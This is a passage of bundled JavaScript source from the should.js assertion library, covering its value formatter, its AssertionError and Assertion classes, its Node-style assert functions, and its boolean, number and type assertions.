    return formatPlainObject.call(this, value, {
      prefix: value.name,
      additionalKeys: [['message', value.message]]
    });
  }

  function generateFormatForNumberArray(lengthProp, name, padding) {
    return function(value) {
      var max = this.byteArrayMaxLength || 50;
      var length = value[lengthProp];
      var formattedValues = [];
      var len = 0;
      for (var i = 0; i < max && i < length; i++) {
        var b = value[i] || 0;
        var v = pad0(b.toString(16), padding);
        len += v.length;
        formattedValues.push(v);
      }
      var prefix = value.constructor.name || name || '';
      if (prefix) {
        prefix += ' ';
      }

      if (formattedValues.length === 0) {
        return prefix + '[]';
      }

      if (len <= this.maxLineLength) {
        return prefix + '[ ' + formattedValues.join(this.propSep + ' ') + ' ' + ']';
      } else {
        return prefix + '[\n' + formattedValues.map(addSpaces).join(this.propSep + '\n') + '\n' + ']';
      }
    };
  }

  function formatMap(obj) {
    return typeAdaptorForEachFormat.call(this, obj, {
      keyValueSep: ' => '
    });
  }

  function formatSet(obj) {
    return typeAdaptorForEachFormat.call(this, obj, {
      keyValueSep: '',
      formatKey: function() { return ''; }
    });
  }

  function genSimdVectorFormat(constructorName, length) {
    return function(value) {
      var Constructor = value.constructor;
      var extractLane = Constructor.extractLane;

      var len = 0;
      var props = [];

      for (var i = 0; i < length; i ++) {
        var key = this.format(extractLane(value, i));
        len += key.length;
        props.push(key);
      }

      if (len <= this.maxLineLength) {
        return constructorName + ' [ ' + props.join(this.propSep + ' ') + ' ]';
      } else {
        return constructorName + ' [\n' + props.map(addSpaces).join(this.propSep + '\n') + '\n' + ']';
      }
    };
  }

  function defaultFormat(value, opts) {
    return new Formatter(opts).format(value);
  }

  defaultFormat.Formatter = Formatter;
  defaultFormat.addSpaces = addSpaces;
  defaultFormat.pad0 = pad0;
  defaultFormat.functionName = functionName$1;
  defaultFormat.constructorName = constructorName;
  defaultFormat.formatPlainObjectKey = formatPlainObjectKey;
  defaultFormat.typeAdaptorForEachFormat = typeAdaptorForEachFormat;
  // adding primitive types
  Formatter.addType(new getGlobalType.Type(getGlobalType.UNDEFINED), function() {
    return 'undefined';
  });
  Formatter.addType(new getGlobalType.Type(getGlobalType.NULL), function() {
    return 'null';
  });
  Formatter.addType(new getGlobalType.Type(getGlobalType.BOOLEAN), function(value) {
    return value ? 'true': 'false';
  });
  Formatter.addType(new getGlobalType.Type(getGlobalType.SYMBOL), function(value) {
    return value.toString();
  });
  Formatter.addType(new getGlobalType.Type(getGlobalType.NUMBER), function(value) {
    if (value === 0 && 1 / value < 0) {
      return '-0';
    }
    return String(value);
  });

  Formatter.addType(new getGlobalType.Type(getGlobalType.STRING), function(value) {
    return '\'' + JSON.stringify(value).replace(/^"|"$/g, '')
        .replace(/'/g, "\\'")
        .replace(/\\"/g, '"') + '\'';
  });

  Formatter.addType(new getGlobalType.Type(getGlobalType.FUNCTION), formatFunction);

  // plain object
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT), formatPlainObject);

  // type wrappers
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.NUMBER), formatWrapper1);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.BOOLEAN), formatWrapper1);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.STRING), formatWrapper2);

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.REGEXP), formatRegExp);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.ARRAY), formatArray);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.ARGUMENTS), formatArguments);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.DATE), formatDate);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.ERROR), formatError);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SET), formatSet);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.MAP), formatMap);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.WEAK_MAP), formatMap);
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.WEAK_SET), formatSet);

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.BUFFER), generateFormatForNumberArray('length', 'Buffer', 2));

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.ARRAY_BUFFER), generateFormatForNumberArray('byteLength', 'ArrayBuffer', 2));

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.TYPED_ARRAY, 'int8'), generateFormatForNumberArray('length', 'Int8Array', 2));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.TYPED_ARRAY, 'uint8'), generateFormatForNumberArray('length', 'Uint8Array', 2));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.TYPED_ARRAY, 'uint8clamped'), generateFormatForNumberArray('length', 'Uint8ClampedArray', 2));

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.TYPED_ARRAY, 'int16'), generateFormatForNumberArray('length', 'Int16Array', 4));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.TYPED_ARRAY, 'uint16'), generateFormatForNumberArray('length', 'Uint16Array', 4));

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.TYPED_ARRAY, 'int32'), generateFormatForNumberArray('length', 'Int32Array', 8));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.TYPED_ARRAY, 'uint32'), generateFormatForNumberArray('length', 'Uint32Array', 8));

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'bool16x8'), genSimdVectorFormat('Bool16x8', 8));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'bool32x4'), genSimdVectorFormat('Bool32x4', 4));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'bool8x16'), genSimdVectorFormat('Bool8x16', 16));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'float32x4'), genSimdVectorFormat('Float32x4', 4));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'int16x8'), genSimdVectorFormat('Int16x8', 8));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'int32x4'), genSimdVectorFormat('Int32x4', 4));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'int8x16'), genSimdVectorFormat('Int8x16', 16));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'uint16x8'), genSimdVectorFormat('Uint16x8', 8));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'uint32x4'), genSimdVectorFormat('Uint32x4', 4));
  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.SIMD, 'uint8x16'), genSimdVectorFormat('Uint8x16', 16));


  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.PROMISE), function() {
    return '[Promise]';//TODO it could be nice to inspect its state and value
  });

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.XHR), function() {
    return '[XMLHttpRequest]';//TODO it could be nice to inspect its state
  });

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.HTML_ELEMENT), function(value) {
    return value.outerHTML;
  });

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.HTML_ELEMENT, '#text'), function(value) {
    return value.nodeValue;
  });

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.HTML_ELEMENT, '#document'), function(value) {
    return value.documentElement.outerHTML;
  });

  Formatter.addType(new getGlobalType.Type(getGlobalType.OBJECT, getGlobalType.HOST), function() {
    return '[Host]';
  });

  function isWrapperType(obj) {
    return obj instanceof Number ||
      obj instanceof String ||
      obj instanceof Boolean;
  }

  function convertPropertyName(name) {
    return (typeof name === 'symbol') ? name : String(name);
  }

  var functionName = defaultFormat.functionName;

  var config = {
    typeAdaptors: defaultTypeAdaptorStorage,

    getFormatter: function(opts) {
      return new defaultFormat.Formatter(opts || config);
    }
  };

  function format(value, opts) {
    return config.getFormatter(opts).format(value);
  }

  function formatProp(value) {
    var formatter = config.getFormatter();
    return defaultFormat.formatPlainObjectKey.call(formatter, value);
  }

  /**
   * should AssertionError
   * @param {Object} options
   * @constructor
   * @memberOf should
   * @static
   */
  function AssertionError(options) {
    merge(this, options);

    if (!options.message) {
      Object.defineProperty(this, 'message', {
          get: function() {
            if (!this._message) {
              this._message = this.generateMessage();
              this.generatedMessage = true;
            }
            return this._message;
          },
          configurable: true,
          enumerable: false
        }
      );
    }

    if (Error.captureStackTrace) {
      Error.captureStackTrace(this, this.stackStartFunction);
    } else {
      // non v8 browsers so we can have a stacktrace
      var err = new Error();
      if (err.stack) {
        var out = err.stack;

        if (this.stackStartFunction) {
          // try to strip useless frames
          var fn_name = functionName(this.stackStartFunction);
          var idx = out.indexOf('\n' + fn_name);
          if (idx >= 0) {
            // once we have located the function frame
            // we need to strip out everything before it (and its line)
            var next_line = out.indexOf('\n', idx + 1);
            out = out.substring(next_line + 1);
          }
        }

        this.stack = out;
      }
    }
  }


  var indent = '    ';
  function prependIndent(line) {
    return indent + line;
  }

  function indentLines(text) {
    return text.split('\n').map(prependIndent).join('\n');
  }


  // assert.AssertionError instanceof Error
  AssertionError.prototype = Object.create(Error.prototype, {
    name: {
      value: 'AssertionError'
    },

    generateMessage: {
      value: function() {
        if (!this.operator && this.previous) {
          return this.previous.message;
        }
        var actual = format(this.actual);
        var expected = 'expected' in this ? ' ' + format(this.expected) : '';
        var details = 'details' in this && this.details ? ' (' + this.details + ')' : '';

        var previous = this.previous ? '\n' + indentLines(this.previous.message) : '';

        return 'expected ' + actual + (this.negate ? ' not ' : ' ') + this.operator + expected + details + previous;
      }
    }
  });

  /**
   * should Assertion
   * @param {*} obj Given object for assertion
   * @constructor
   * @memberOf should
   * @static
   */
  function Assertion(obj) {
    this.obj = obj;

    this.anyOne = false;
    this.negate = false;

    this.params = {actual: obj};
  }

  Assertion.prototype = {
    constructor: Assertion,

    /**
     * Base method for assertions.
     *
     * Before calling this method need to fill Assertion#params object. This method usually called from other assertion methods.
     * `Assertion#params` can contain such properties:
     * * `operator` - required string containing description of this assertion
     * * `obj` - optional replacement for this.obj, it usefull if you prepare more clear object then given
     * * `message` - if this property filled with string any others will be ignored and this one used as assertion message
     * * `expected` - any object used when you need to assert relation between given object and expected. Like given == expected (== is a relation)
     * * `details` - additional string with details to generated message
     *
     * @memberOf Assertion
     * @category assertion
     * @param {*} expr Any expression that will be used as a condition for asserting.
     * @example
     *
     * var a = new should.Assertion(42);
     *
     * a.params = {
     *  operator: 'to be magic number',
     * }
     *
     * a.assert(false);
     * //throws AssertionError: expected 42 to be magic number
     */
    assert: function(expr) {
      if (expr) {
        return this;
      }

      var params = this.params;

      if ('obj' in params && !('actual' in params)) {
        params.actual = params.obj;
      } else if (!('obj' in params) && !('actual' in params)) {
        params.actual = this.obj;
      }

      params.stackStartFunction = params.stackStartFunction || this.assert;
      params.negate = this.negate;

      params.assertion = this;

      throw new AssertionError(params);
    },

    /**
     * Shortcut for `Assertion#assert(false)`.
     *
     * @memberOf Assertion
     * @category assertion
     * @example
     *
     * var a = new should.Assertion(42);
     *
     * a.params = {
     *  operator: 'to be magic number',
     * }
     *
     * a.fail();
     * //throws AssertionError: expected 42 to be magic number
     */
    fail: function() {
      return this.assert(false);
    }
  };



  /**
   * Assertion used to delegate calls of Assertion methods inside of Promise.
   * It has almost all methods of Assertion.prototype
   *
   * @param {Promise} obj
   */
  function PromisedAssertion(/* obj */) {
    Assertion.apply(this, arguments);
  }

  /**
   * Make PromisedAssertion to look like promise. Delegate resolve and reject to given promise.
   *
   * @private
   * @returns {Promise}
   */
  PromisedAssertion.prototype.then = function(resolve, reject) {
    return this.obj.then(resolve, reject);
  };

  /**
   * Way to extend Assertion function. It uses some logic
   * to define only positive assertions and itself rule with negative assertion.
   *
   * All actions happen in subcontext and this method take care about negation.
   * Potentially we can add some more modifiers that does not depends from state of assertion.
   *
   * @memberOf Assertion
   * @static
   * @param {String} name Name of assertion. It will be used for defining method or getter on Assertion.prototype
   * @param {Function} func Function that will be called on executing assertion
   * @example
   *
   * Assertion.add('asset', function() {
   *      this.params = { operator: 'to be asset' }
   *
   *      this.obj.should.have.property('id').which.is.a.Number()
   *      this.obj.should.have.property('path')
   * })
   */
  Assertion.add = function(name, func) {
    Object.defineProperty(Assertion.prototype, name, {
      enumerable: true,
      configurable: true,
      value: function() {
        var context = new Assertion(this.obj, this, name);
        context.anyOne = this.anyOne;

        try {
          func.apply(context, arguments);
        } catch (e) {
          // check for fail
          if (e instanceof AssertionError) {
            // negative fail
            if (this.negate) {
              this.obj = context.obj;
              this.negate = false;
              return this;
            }

            if (context !== e.assertion) {
              context.params.previous = e;
            }

            // positive fail
            context.negate = false;
            context.fail();
          }
          // throw if it is another exception
          throw e;
        }

        // negative pass
        if (this.negate) {
          context.negate = true; // because .fail will set negate
          context.params.details = 'false negative fail';
          context.fail();
        }

        // positive pass
        if (!this.params.operator) {
          this.params = context.params; // shortcut
        }
        this.obj = context.obj;
        this.negate = false;
        return this;
      }
    });

    Object.defineProperty(PromisedAssertion.prototype, name, {
      enumerable: true,
      configurable: true,
      value: function() {
        var args = arguments;
        this.obj = this.obj.then(function(a) {
          return a[name].apply(a, args);
        });

        return this;
      }
    });
  };

  /**
   * Add chaining getter to Assertion like .a, .which etc
   *
   * @memberOf Assertion
   * @static
   * @param  {string} name   name of getter
   * @param  {function} [onCall] optional function to call
   */
  Assertion.addChain = function(name, onCall) {
    onCall = onCall || function() {};
    Object.defineProperty(Assertion.prototype, name, {
      get: function() {
        onCall.call(this);
        return this;
      },
      enumerable: true
    });

    Object.defineProperty(PromisedAssertion.prototype, name, {
      enumerable: true,
      configurable: true,
      get: function() {
        this.obj = this.obj.then(function(a) {
          return a[name];
        });

        return this;
      }
    });
  };

  /**
   * Create alias for some `Assertion` property
   *
   * @memberOf Assertion
   * @static
   * @param {String} from Name of to map
   * @param {String} to Name of alias
   * @example
   *
   * Assertion.alias('true', 'True')
   */
  Assertion.alias = function(from, to) {
    var desc = Object.getOwnPropertyDescriptor(Assertion.prototype, from);
    if (!desc) {
      throw new Error('Alias ' + from + ' -> ' + to + ' could not be created as ' + from + ' not defined');
    }
    Object.defineProperty(Assertion.prototype, to, desc);

    var desc2 = Object.getOwnPropertyDescriptor(PromisedAssertion.prototype, from);
    if (desc2) {
      Object.defineProperty(PromisedAssertion.prototype, to, desc2);
    }
  };
  /**
   * Negation modifier. Current assertion chain become negated. Each call invert negation on current assertion.
   *
   * @name not
   * @property
   * @memberOf Assertion
   * @category assertion
   */
  Assertion.addChain('not', function() {
    this.negate = !this.negate;
  });

  /**
   * Any modifier - it affect on execution of sequenced assertion to do not `check all`, but `check any of`.
   *
   * @name any
   * @property
   * @memberOf Assertion
   * @category assertion
   */
  Assertion.addChain('any', function() {
    this.anyOne = true;
  });

  var pSlice = Array.prototype.slice;

  // 1. The assert module provides functions that throw
  // AssertionError's when particular conditions are not met. The
  // assert module must conform to the following interface.

  var assert = ok;
  // 3. All of the following functions must throw an AssertionError
  // when a corresponding condition is not met, with a message that
  // may be undefined if not provided.  All assertion methods provide
  // both the actual and expected values to the assertion error for
  // display purposes.
  /**
   * Node.js standard [`assert.fail`](http://nodejs.org/api/assert.html#assert_assert_fail_actual_expected_message_operator).
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {*} actual Actual object
   * @param {*} expected Expected object
   * @param {string} message Message for assertion
   * @param {string} operator Operator text
   */
  function fail(actual, expected, message, operator, stackStartFunction) {
    var a = new Assertion(actual);
    a.params = {
      operator: operator,
      expected: expected,
      message: message,
      stackStartFunction: stackStartFunction || fail
    };

    a.fail();
  }

  // EXTENSION! allows for well behaved errors defined elsewhere.
  assert.fail = fail;

  // 4. Pure assertion tests whether a value is truthy, as determined
  // by !!guard.
  // assert.ok(guard, message_opt);
  // This statement is equivalent to assert.equal(true, !!guard,
  // message_opt);. To test strictly for the value true, use
  // assert.strictEqual(true, guard, message_opt);.
  /**
   * Node.js standard [`assert.ok`](http://nodejs.org/api/assert.html#assert_assert_value_message_assert_ok_value_message).
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {*} value
   * @param {string} [message]
   */
  function ok(value, message) {
    if (!value) {
      fail(value, true, message, '==', assert.ok);
    }
  }
  assert.ok = ok;

  // 5. The equality assertion tests shallow, coercive equality with
  // ==.
  // assert.equal(actual, expected, message_opt);

  /**
   * Node.js standard [`assert.equal`](http://nodejs.org/api/assert.html#assert_assert_equal_actual_expected_message).
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {*} actual
   * @param {*} expected
   * @param {string} [message]
   */
  assert.equal = function equal(actual, expected, message) {
    if (actual != expected) {
      fail(actual, expected, message, '==', assert.equal);
    }
  };

  // 6. The non-equality assertion tests for whether two objects are not equal
  // with != assert.notEqual(actual, expected, message_opt);
  /**
   * Node.js standard [`assert.notEqual`](http://nodejs.org/api/assert.html#assert_assert_notequal_actual_expected_message).
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {*} actual
   * @param {*} expected
   * @param {string} [message]
   */
  assert.notEqual = function notEqual(actual, expected, message) {
    if (actual == expected) {
      fail(actual, expected, message, '!=', assert.notEqual);
    }
  };

  // 7. The equivalence assertion tests a deep equality relation.
  // assert.deepEqual(actual, expected, message_opt);
  /**
   * Node.js standard [`assert.deepEqual`](http://nodejs.org/api/assert.html#assert_assert_deepequal_actual_expected_message).
   * But uses should.js .eql implementation instead of Node.js own deepEqual.
   *
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {*} actual
   * @param {*} expected
   * @param {string} [message]
   */
  assert.deepEqual = function deepEqual(actual, expected, message) {
    if (eq(actual, expected).length !== 0) {
      fail(actual, expected, message, 'deepEqual', assert.deepEqual);
    }
  };


  // 8. The non-equivalence assertion tests for any deep inequality.
  // assert.notDeepEqual(actual, expected, message_opt);
  /**
   * Node.js standard [`assert.notDeepEqual`](http://nodejs.org/api/assert.html#assert_assert_notdeepequal_actual_expected_message).
   * But uses should.js .eql implementation instead of Node.js own deepEqual.
   *
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {*} actual
   * @param {*} expected
   * @param {string} [message]
   */
  assert.notDeepEqual = function notDeepEqual(actual, expected, message) {
    if (eq(actual, expected).result) {
      fail(actual, expected, message, 'notDeepEqual', assert.notDeepEqual);
    }
  };

  // 9. The strict equality assertion tests strict equality, as determined by ===.
  // assert.strictEqual(actual, expected, message_opt);
  /**
   * Node.js standard [`assert.strictEqual`](http://nodejs.org/api/assert.html#assert_assert_strictequal_actual_expected_message).
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {*} actual
   * @param {*} expected
   * @param {string} [message]
   */
  assert.strictEqual = function strictEqual(actual, expected, message) {
    if (actual !== expected) {
      fail(actual, expected, message, '===', assert.strictEqual);
    }
  };

  // 10. The strict non-equality assertion tests for strict inequality, as
  // determined by !==.  assert.notStrictEqual(actual, expected, message_opt);
  /**
   * Node.js standard [`assert.notStrictEqual`](http://nodejs.org/api/assert.html#assert_assert_notstrictequal_actual_expected_message).
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {*} actual
   * @param {*} expected
   * @param {string} [message]
   */
  assert.notStrictEqual = function notStrictEqual(actual, expected, message) {
    if (actual === expected) {
      fail(actual, expected, message, '!==', assert.notStrictEqual);
    }
  };

  function expectedException(actual, expected) {
    if (!actual || !expected) {
      return false;
    }

    if (Object.prototype.toString.call(expected) == '[object RegExp]') {
      return expected.test(actual);
    } else if (actual instanceof expected) {
      return true;
    } else if (expected.call({}, actual) === true) {
      return true;
    }

    return false;
  }

  function _throws(shouldThrow, block, expected, message) {
    var actual;

    if (typeof expected == 'string') {
      message = expected;
      expected = null;
    }

    try {
      block();
    } catch (e) {
      actual = e;
    }

    message = (expected && expected.name ? ' (' + expected.name + ')' : '.') +
    (message ? ' ' + message : '.');

    if (shouldThrow && !actual) {
      fail(actual, expected, 'Missing expected exception' + message);
    }

    if (!shouldThrow && expectedException(actual, expected)) {
      fail(actual, expected, 'Got unwanted exception' + message);
    }

    if ((shouldThrow && actual && expected && !expectedException(actual, expected)) || (!shouldThrow && actual)) {
      throw actual;
    }
  }

  // 11. Expected to throw an error:
  // assert.throws(block, Error_opt, message_opt);
  /**
   * Node.js standard [`assert.throws`](http://nodejs.org/api/assert.html#assert_assert_throws_block_error_message).
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {Function} block
   * @param {Function} [error]
   * @param {String} [message]
   */
  assert.throws = function(/*block, error, message*/) {
    _throws.apply(this, [true].concat(pSlice.call(arguments)));
  };

  // EXTENSION! This is annoying to write outside this module.
  /**
   * Node.js standard [`assert.doesNotThrow`](http://nodejs.org/api/assert.html#assert_assert_doesnotthrow_block_message).
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {Function} block
   * @param {String} [message]
   */
  assert.doesNotThrow = function(/*block, message*/) {
    _throws.apply(this, [false].concat(pSlice.call(arguments)));
  };

  /**
   * Node.js standard [`assert.ifError`](http://nodejs.org/api/assert.html#assert_assert_iferror_value).
   * @static
   * @memberOf should
   * @category assertion assert
   * @param {Error} err
   */
  assert.ifError = function(err) {
    if (err) {
      throw err;
    }
  };

  function assertExtensions(should) {
    var i = should.format;

    /*
     * Expose assert to should
     *
     * This allows you to do things like below
     * without require()ing the assert module.
     *
     *    should.equal(foo.bar, undefined);
     *
     */
    merge(should, assert);

    /**
     * Assert _obj_ exists, with optional message.
     *
     * @static
     * @memberOf should
     * @category assertion assert
     * @alias should.exists
     * @param {*} obj
     * @param {String} [msg]
     * @example
     *
     * should.exist(1);
     * should.exist(new Date());
     */
    should.exist = should.exists = function(obj, msg) {
      if (null == obj) {
        throw new AssertionError({
          message: msg || ('expected ' + i(obj) + ' to exist'), stackStartFunction: should.exist
        });
      }
    };

    should.not = {};
    /**
     * Asserts _obj_ does not exist, with optional message.
     *
     * @name not.exist
     * @static
     * @memberOf should
     * @category assertion assert
     * @alias should.not.exists
     * @param {*} obj
     * @param {String} [msg]
     * @example
     *
     * should.not.exist(null);
     * should.not.exist(void 0);
     */
    should.not.exist = should.not.exists = function(obj, msg) {
      if (null != obj) {
        throw new AssertionError({
          message: msg || ('expected ' + i(obj) + ' to not exist'), stackStartFunction: should.not.exist
        });
      }
    };
  }

  /*
   * should.js - assertion library
   * Copyright(c) 2010-2013 TJ Holowaychuk <tj@vision-media.ca>
   * Copyright(c) 2013-2016 Denis Bardadym <bardadymchik@gmail.com>
   * MIT Licensed
   */

  function chainAssertions(should, Assertion) {
    /**
     * Simple chaining. It actually do nothing.
     *
     * @memberOf Assertion
     * @name be
     * @property {should.Assertion} be
     * @alias Assertion#an
     * @alias Assertion#of
     * @alias Assertion#a
     * @alias Assertion#and
     * @alias Assertion#have
     * @alias Assertion#has
     * @alias Assertion#with
     * @alias Assertion#is
     * @alias Assertion#which
     * @alias Assertion#the
     * @alias Assertion#it
     * @category assertion chaining
     */
    ['an', 'of', 'a', 'and', 'be', 'has', 'have', 'with', 'is', 'which', 'the', 'it'].forEach(function(name) {
      Assertion.addChain(name);
    });
  }

  /*
   * should.js - assertion library
   * Copyright(c) 2010-2013 TJ Holowaychuk <tj@vision-media.ca>
   * Copyright(c) 2013-2016 Denis Bardadym <bardadymchik@gmail.com>
   * MIT Licensed
   */

  function booleanAssertions(should, Assertion) {
    /**
     * Assert given object is exactly `true`.
     *
     * @name true
     * @memberOf Assertion
     * @category assertion bool
     * @alias Assertion#True
     * @param {string} [message] Optional message
     * @example
     *
     * (true).should.be.true();
     * false.should.not.be.true();
     *
     * ({ a: 10}).should.not.be.true();
     */
    Assertion.add('true', function(message) {
      this.is.exactly(true, message);
    });

    Assertion.alias('true', 'True');

    /**
     * Assert given object is exactly `false`.
     *
     * @name false
     * @memberOf Assertion
     * @category assertion bool
     * @alias Assertion#False
     * @param {string} [message] Optional message
     * @example
     *
     * (true).should.not.be.false();
     * false.should.be.false();
     */
    Assertion.add('false', function(message) {
      this.is.exactly(false, message);
    });

    Assertion.alias('false', 'False');

    /**
     * Assert given object is truthy according javascript type conversions.
     *
     * @name ok
     * @memberOf Assertion
     * @category assertion bool
     * @example
     *
     * (true).should.be.ok();
     * ''.should.not.be.ok();
     * should(null).not.be.ok();
     * should(void 0).not.be.ok();
     *
     * (10).should.be.ok();
     * (0).should.not.be.ok();
     */
    Assertion.add('ok', function() {
      this.params = { operator: 'to be truthy' };

      this.assert(this.obj);
    });
  }

  /*
   * should.js - assertion library
   * Copyright(c) 2010-2013 TJ Holowaychuk <tj@vision-media.ca>
   * Copyright(c) 2013-2016 Denis Bardadym <bardadymchik@gmail.com>
   * MIT Licensed
   */

  function numberAssertions(should, Assertion) {

    /**
     * Assert given object is NaN
     * @name NaN
     * @memberOf Assertion
     * @category assertion numbers
     * @example
     *
     * (10).should.not.be.NaN();
     * NaN.should.be.NaN();
     */
    Assertion.add('NaN', function() {
      this.params = { operator: 'to be NaN' };

      this.assert(this.obj !== this.obj);
    });

    /**
     * Assert given object is not finite (positive or negative)
     *
     * @name Infinity
     * @memberOf Assertion
     * @category assertion numbers
     * @example
     *
     * (10).should.not.be.Infinity();
     * NaN.should.not.be.Infinity();
     */
    Assertion.add('Infinity', function() {
      this.params = { operator: 'to be Infinity' };

      this.is.a.Number()
        .and.not.a.NaN()
        .and.assert(!isFinite(this.obj));
    });

    /**
     * Assert given number between `start` and `finish` or equal one of them.
     *
     * @name within
     * @memberOf Assertion
     * @category assertion numbers
     * @param {number} start Start number
     * @param {number} finish Finish number
     * @param {string} [description] Optional message
     * @example
     *
     * (10).should.be.within(0, 20);
     */
    Assertion.add('within', function(start, finish, description) {
      this.params = { operator: 'to be within ' + start + '..' + finish, message: description };

      this.assert(this.obj >= start && this.obj <= finish);
    });

    /**
     * Assert given number near some other `value` within `delta`
     *
     * @name approximately
     * @memberOf Assertion
     * @category assertion numbers
     * @param {number} value Center number
     * @param {number} delta Radius
     * @param {string} [description] Optional message
     * @example
     *
     * (9.99).should.be.approximately(10, 0.1);
     */
    Assertion.add('approximately', function(value, delta, description) {
      this.params = { operator: 'to be approximately ' + value + ' ±' + delta, message: description };

      this.assert(Math.abs(this.obj - value) <= delta);
    });

    /**
     * Assert given number above `n`.
     *
     * @name above
     * @alias Assertion#greaterThan
     * @memberOf Assertion
     * @category assertion numbers
     * @param {number} n Margin number
     * @param {string} [description] Optional message
     * @example
     *
     * (10).should.be.above(0);
     */
    Assertion.add('above', function(n, description) {
      this.params = { operator: 'to be above ' + n, message: description };

      this.assert(this.obj > n);
    });

    /**
     * Assert given number below `n`.
     *
     * @name below
     * @alias Assertion#lessThan
     * @memberOf Assertion
     * @category assertion numbers
     * @param {number} n Margin number
     * @param {string} [description] Optional message
     * @example
     *
     * (0).should.be.below(10);
     */
    Assertion.add('below', function(n, description) {
      this.params = { operator: 'to be below ' + n, message: description };

      this.assert(this.obj < n);
    });

    Assertion.alias('above', 'greaterThan');
    Assertion.alias('below', 'lessThan');

    /**
     * Assert given number above `n`.
     *
     * @name aboveOrEqual
     * @alias Assertion#greaterThanOrEqual
     * @memberOf Assertion
     * @category assertion numbers
     * @param {number} n Margin number
     * @param {string} [description] Optional message
     * @example
     *
     * (10).should.be.aboveOrEqual(0);
     * (10).should.be.aboveOrEqual(10);
     */
    Assertion.add('aboveOrEqual', function(n, description) {
      this.params = { operator: 'to be above or equal' + n, message: description };

      this.assert(this.obj >= n);
    });

    /**
     * Assert given number below `n`.
     *
     * @name belowOrEqual
     * @alias Assertion#lessThanOrEqual
     * @memberOf Assertion
     * @category assertion numbers
     * @param {number} n Margin number
     * @param {string} [description] Optional message
     * @example
     *
     * (0).should.be.belowOrEqual(10);
     * (0).should.be.belowOrEqual(0);
     */
    Assertion.add('belowOrEqual', function(n, description) {
      this.params = { operator: 'to be below or equal' + n, message: description };

      this.assert(this.obj <= n);
    });

    Assertion.alias('aboveOrEqual', 'greaterThanOrEqual');
    Assertion.alias('belowOrEqual', 'lessThanOrEqual');

  }

  function typeAssertions(should, Assertion) {
    /**
     * Assert given object is number
     * @name Number
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('Number', function() {
      this.params = {operator: 'to be a number'};

      this.have.type('number');
    });

    /**
     * Assert given object is arguments
     * @name arguments
     * @alias Assertion#Arguments
     * @memberOf Assertion
     * @category assertion types
     */
    Assertion.add('arguments', function() {
      this.params = {operator: 'to be arguments'};

      this.have.class('Arguments');
    });

    Assertion.alias('arguments', 'Arguments');

    /**
     * Assert given object has some type using `typeof`
     * @name type
     * @memberOf Assertion
     * @param {string} type Type name
     * @param {string} [description] Optional message
     * @category assertion types
     */
    Assertion.add('type', function(type, description) {
      this.params = {operator: 'to have type ' + type, message: description};

      should(typeof this.obj).be.exactly(type);
    });

    /**
     * Assert given object is instance of `constructor`
     * @name instanceof
     * @alias Assertion#instanceOf
     * @memberOf Assertion
     * @param {Function} constructor Constructor function
     * @param {string} [description] Optional message
     * @category assertion types
     */
    Assertion.add('instanceof', function(constructor, description) {
      this.params = {operator: 'to be an instance of ' + functionName(constructor), message: description};

      this.assert(Object(this.obj) instanceof constructor);
    });

    Assertion.alias('instanceof', 'instanceOf');

    /**
     * Assert given object is function
     * @name Function
     * @memberOf Assertion
     * @category assertion types
     */
